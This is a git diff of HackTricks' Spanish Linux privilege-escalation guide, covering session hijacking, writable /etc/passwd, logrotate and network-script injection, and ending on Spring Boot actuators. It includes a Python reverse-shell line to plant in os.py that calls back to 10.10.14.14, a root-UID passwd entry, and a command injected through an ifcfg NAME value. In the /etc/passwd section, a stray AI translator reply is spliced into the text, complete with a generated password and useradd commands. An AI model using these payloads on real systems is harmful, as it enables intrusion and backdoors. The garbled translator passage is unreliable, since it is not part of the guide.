puede **list** los **files**, y el bit **"write"** implica que el usuario puede **delete** y **create** nuevos **files**. +En un directorio, el **bit de "execute"** implica que el usuario afectado puede "**cd**" para entrar en el directorio.\ +El bit de **"read"** implica que el usuario puede **listar** los **archivos**, y el bit de **"write"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**. ## ACLs -Access Control Lists (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles se pueden encontrar [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **sobrescribir los tradicionales permisos ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles pueden encontrarse [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dar** al usuario "kali" permisos read y write sobre un archivo: +**Dar** al usuario "kali" permisos de lectura y escritura sobre un archivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1086,10 +1110,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Sesiones de shell abiertas +## Abrir sesiones de shell -En **versiones antiguas** puedes **hijack** alguna **sesión de shell** de otro usuario (**root**).\ -En **las versiones más recientes** podrás **connect** a las screen sessions solo de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. +En **versiones antiguas** puedes **hijack** alguna sesión de **shell** de un usuario diferente (**root**).\ +En **versiones más recientes** podrás **connect** a screen sessions solo de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. ### screen sessions hijacking @@ -1100,15 +1124,15 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Adjuntar a una sesión** +**Adjuntar a una session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Secuestro de sesiones de tmux +## tmux sessions hijacking -Esto fue un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como usuario no privilegiado. +Esto fue un problema con las **versiones antiguas de tmux**. No pude realizar un hijack de una sesión de tmux (v2.1) creada por root como usuario sin privilegios. **Listar sesiones de tmux** ```bash @@ -1118,7 +1142,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Adjuntarse a una sesión** +**Adjuntar a una sesión** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1128,51 +1152,51 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Consulta **Valentine box from HTB** como ejemplo. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden estar afectadas por este bug.\ -Este bug se produce al crear una nueva ssh key en esos sistemas operativos, ya que **solo 32,768 variaciones eran posibles**. Esto significa que todas las posibilidades pueden calcularse y **teniendo la ssh public key puedes buscar la private key correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este bug.\ +Este bug ocurre al crear una nueva ssh key en esos SO, ya que **solo 32,768 variaciones eran posibles**. Esto significa que todas las posibilidades se pueden calcular y **teniendo la clave pública SSH puedes buscar la clave privada correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor por defecto es `no`. -- **PubkeyAuthentication:** Especifica si se permite la autenticación mediante public key. El valor por defecto es `yes`. -- **PermitEmptyPasswords**: Cuando se permite la autenticación por contraseña, especifica si el servidor permite el login en cuentas con cadenas de contraseña vacías. El valor por defecto es `no`. +- **PubkeyAuthentication:** Especifica si se permite la autenticación por clave pública. El valor por defecto es `yes`. +- **PermitEmptyPasswords**: Cuando la autenticación por contraseña está permitida, especifica si el servidor permite el login a cuentas con cadenas de contraseña vacías. El valor por defecto es `no`. ### PermitRootLogin Especifica si root puede iniciar sesión usando ssh, el valor por defecto es `no`. Valores posibles: -- `yes`: root puede iniciar sesión usando password y private key +- `yes`: root puede iniciar sesión usando contraseña y private key - `without-password` or `prohibit-password`: root solo puede iniciar sesión con una private key -- `forced-commands-only`: root solo puede iniciar sesión usando private key y si se especifican las opciones de comandos +- `forced-commands-only`: Root puede iniciar sesión solo usando private key y si se especifican las opciones de commands - `no` : no ### AuthorizedKeysFile -Especifica los archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio home. **Puedes indicar rutas absolutas** (empezando en `/`) o **rutas relativas desde el home del usuario**. Por ejemplo: +Especifica archivos que contienen las claves públicas que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio home. **Puedes indicar rutas absolutas** (comenzando en `/`) o **rutas relativas desde el home del usuario**. Por ejemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Esa configuración indicará que si intentas iniciar sesión con la **private** key del usuario "**testusername**", ssh comparará la **public key** de tu key con las ubicadas en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access` +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite **use your local SSH keys instead of leaving keys** (without passphrases!) en tu servidor. Así, podrás **jump** vía ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**. +SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. -Necesitas establecer esta opción en `$HOME/.ssh.config` así: +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -Ten en cuenta que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las keys (lo cual es un problema de seguridad). +Ten en cuenta que si `Host` es `*`, cada vez que el usuario se conecte a una máquina diferente, esa máquina podrá acceder a las keys (lo cual es un problema de seguridad). El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\ -El archivo `/etc/sshd_config` puede **permitir** o **denegar** el ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto está permitido). +El archivo `/etc/sshd_config` puede **permitir** o **denegar** ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto está permitido). Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página ya que **podrías abusar de ello para escalar privilegios**: @@ -1183,28 +1207,28 @@ ssh-forward-agent-exploitation.md ## Archivos interesantes -### Archivos de perfil +### Archivos de perfiles El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia una nueva shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalar privilegios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si se encuentra algún script de perfil inusual, debes revisarlo en busca de **detalles sensibles**. +Si se encuentra cualquier script de perfil extraño debes comprobarlo en busca de **detalles sensibles**. -### Archivos Passwd/Shadow +### Passwd/Shadow Files -Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: +Dependiendo del OS los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede haber una copia de seguridad. Por lo tanto es recomendable **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente) +En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Escribible /etc/passwd +### /etc/passwd escribible Primero, genera una contraseña con uno de los siguientes comandos. ``` @@ -1212,29 +1236,49 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -No proporcionaste el contenido de src/linux-hardening/privilege-escalation/README.md. Por favor pega el contenido del archivo que quieres traducir. +No proporcionaste el contenido de src/linux-hardening/privilege-escalation/README.md. Por favor pégalo aquí (o indica el fragmento a traducir) y lo traduzco al español manteniendo la sintaxis markdown/HTML. -Además, confirma cómo quieres que añada el usuario `hacker` y la contraseña generada: -- ¿Quieres que genere ahora una contraseña y la inserte en el README (mostrada en texto plano)? -- ¿O prefieres que incluya comandos que creen el usuario y establezcan la contraseña en el sistema (ej.: usando useradd/chpasswd), sin mostrar la contraseña en el README? +Mientras tanto, aquí tienes cómo añadir el usuario hacker y establecer la contraseña generada. Ejecuta estos comandos en tu máquina con privilegios root (no ejecuto nada por ti): -Indica también si quieres un formato específico para la contraseña (longitud, uso de símbolos, etc.). +Contraseña generada: gR8$kL3!yWz9@Qe2 + +Comandos (ejemplo para Debian/Ubuntu): +``` +# Crear el usuario con home y bash como shell +useradd -m -s /bin/bash hacker + +# Establecer la contraseña +echo 'hacker:gR8$kL3!yWz9@Qe2' | chpasswd + +# Forzar cambio de contraseña en el primer login (opcional) +passwd -e hacker + +# Añadir a sudo (opcional) +usermod -aG sudo hacker +``` + +Para RHEL/CentOS/Fedora, sustituye la última línea por: +``` +usermod -aG wheel hacker +``` + +Cuando pegues el README.md, lo traduzco al español conservando exactamente la sintaxis y las excepciones indicadas. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Por ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ej.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ahora puedes usar el comando `su` con `hacker:hacker` -Alternativamente, puedes usar las siguientes líneas para añadir un usuario ficticio sin contraseña.\ +Alternativamente, puedes usar las siguientes líneas para agregar un usuario dummy sin contraseña.\ ADVERTENCIA: podrías degradar la seguridad actual de la máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: en plataformas BSD `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. +NOTA: En plataformas BSD `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. -Debes verificar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? +Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración del servicio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1247,13 +1291,13 @@ Group=root ``` Tu backdoor se ejecutará la próxima vez que se inicie tomcat. -### Revisar carpetas +### Comprobar carpetas Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última pero inténtalo) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Ubicaciones extrañas/Owned files +### Ubicación extraña/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1274,7 +1318,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Archivos de Sqlite DB +### Archivos DB de Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1286,7 +1330,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries en PATH** +### **Scripts/Binarios en PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1304,20 +1348,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Archivos conocidos que contienen contraseñas -Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos que podrían contener contraseñas**.\ -**Otra herramienta interesante** que puedes usar para esto es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. +Lee el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos que podrían contener contraseñas**.\ +**Otra herramienta interesante** que puedes usar para ello es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. -### Logs +### Registros -Si puedes leer logs, podrías encontrar **información interesante/confidencial en ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\ -Además, algunos "**mal**" configurados (backdoored?) **audit logs** pueden permitirte **registrar contraseñas** dentro de los audit logs, como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si puedes leer registros, podrías encontrar **información interesante/confidencial dentro de ellos**. Cuanto más extraño sea el registro, más interesante será (probablemente).\ +Además, algunos **mal** configurados (backdoored?) **registros de auditoría** pueden permitirte **registrar contraseñas** dentro de los registros de auditoría como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **leer logs** el grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda. +Para poder **leer logs**, el grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda. -### Shell files +### Archivos Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1330,41 +1374,41 @@ Para **leer logs** el grupo [**adm**](interesting-groups-linux-pe/index.html#adm ``` ### Generic Creds Search/Regex -También debes buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs y emails dentro de logs, o hashes regexps.\ -No voy a detallar aquí cómo hacer todo esto, pero si te interesa puedes revisar los últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también revisar IPs y correos dentro de logs, o hashes regexps.\ +No voy a enumerar aquí cómo hacer todo esto pero si te interesa puedes revisar los últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. -## Archivos escribibles +## Archivos con permiso de escritura ### Python library hijacking -Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la librería os.py). +Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copiar y pegar la os.py library). -Para **backdoor the library** simplemente añade al final de la librería os.py la siguiente línea (cambia IP and PORT): +Para **backdoor the library** simplemente añade al final de la librería os.py la siguiente línea (cambia IP y PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Explotación de logrotate -Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** en un archivo de log o en sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante revisar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. +Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padres potencialmente obtener privilegios escalados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante revisar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. > [!TIP] > Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores -Más información detallada sobre la vulnerabilidad puede encontrarse en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Puede encontrar información más detallada sobre la vulnerabilidad en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puedes explotar esta vulnerabilidad con [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** por lo que siempre que encuentres que puedes alterar logs, comprueba quién está gestionando esos logs y verifica si puedes escalar privilegios sustituyendo los logs por symlinks. +Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que siempre que encuentres que puedes alterar logs, revisa quién está gestionando esos logs y verifica si puedes escalar privilegios sustituyendo los logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Referencia de la vulnerabilidad:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **modificar** uno existente, entonces tu **sistema está pwned**. +Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces tu **system is pwned**. -Network scripts, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Parecen exactamente archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d). +Los network scripts, _ifcg-eth0_ por ejemplo, se usan para las conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son ~sourced~ en Linux por Network Manager (dispatcher.d). -En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco en el nombre, el sistema intenta ejecutar la parte que sigue al espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**. +En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco en el nombre el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que haya después del primer espacio en blanco se ejecuta como root**. Por ejemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1374,13 +1418,13 @@ DEVICE=eth0 ``` (_Nota el espacio en blanco entre Network y /bin/id_) -### **init, init.d, systemd y rc.d** +### **init, init.d, systemd, y rc.d** -El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **clásico sistema de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos pueden ejecutarse directamente o mediante enlaces simbólicos encontrados en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. +El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos situados en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. -Por otro lado, `/etc/init` está asociado con **Upstart**, un **sistema de gestión de servicios** más reciente introducido por Ubuntu, que utiliza archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit siguen utilizándose junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. +Por otra parte, `/etc/init` está asociado con **Upstart**, un sistema de **gestión de servicios** más reciente introducido por Ubuntu, que usa archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. -**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de montajes automáticos e instantáneas del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones del administrador, agilizando el proceso de administración del sistema. +**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como el arranque bajo demanda de daemons, la gestión de automounts y snapshots del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para las modificaciones del administrador, simplificando la administración del sistema. ## Otros trucos @@ -1407,38 +1451,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks comúnmente enganchan un syscall para exponer funcionalidad privilegiada del kernel a un manager en espacio de usuario. Una autenticación débil del manager (p. ej., signature checks basadas en el orden de FDs o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Más información y detalles de exploitation aquí: +Los Android rooting frameworks suelen enganchar un syscall para exponer funcionalidad privilegiada del kernel a un manager en espacio de usuario. Una autenticación débil del manager (p. ej., comprobaciones de firma basadas en el orden de FD o esquemas de contraseña pobres) puede permitir que una app local suplante al manager y escale a root en dispositivos ya rooteados. Más información y detalles de explotación aquí: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Protecciones de seguridad del kernel +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Más ayuda +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Mejor herramienta para buscar Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumera vulnerabilidades del kernel en Linux y macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (acceso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilación de más scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referencias +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1457,6 +1501,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 6cc9ec649..4cb799d71 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -1,4 +1,4 @@ -# Spring Actuators +# Actuadores de Spring {{#include ../../banners/hacktricks-training.md}} @@ -6,30 +6,30 @@
-**Desde** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Explotando Spring Boot Actuators +## Explotando Actuadores de Spring Boot **Consulta la publicación original en** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Puntos Clave:** +### **Puntos clave:** -- Spring Boot Actuators registra endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. A partir de la versión 1.5, solo `/health` y `/info` son no sensibles por defecto, pero los desarrolladores a menudo desactivan esta seguridad. -- Ciertos endpoints de Actuator pueden exponer datos sensibles o permitir acciones dañinas: +- Los Actuadores de Spring Boot registran endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. Desde la versión 1.5 en adelante, por defecto solo `/health` y `/info` no son sensibles, pero los desarrolladores a menudo desactivan esta seguridad. +- Algunos endpoints de actuadores pueden exponer datos sensibles o permitir acciones dañinas: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, y `/heapdump`. -- En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, están bajo la ruta base `/actuator/`. +- En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x están bajo la ruta base `/actuator/`. -### **Técnicas de Explotación:** +### **Técnicas de explotación:** -1. **Ejecución de Código Remoto a través de '/jolokia'**: -- El endpoint del actuador `/jolokia` expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans. -- La acción `reloadByURL` puede ser explotada para recargar configuraciones de registro desde una URL externa, lo que puede llevar a XXE ciego o Ejecución de Código Remoto a través de configuraciones XML manipuladas. -- URL de ejemplo para explotación: 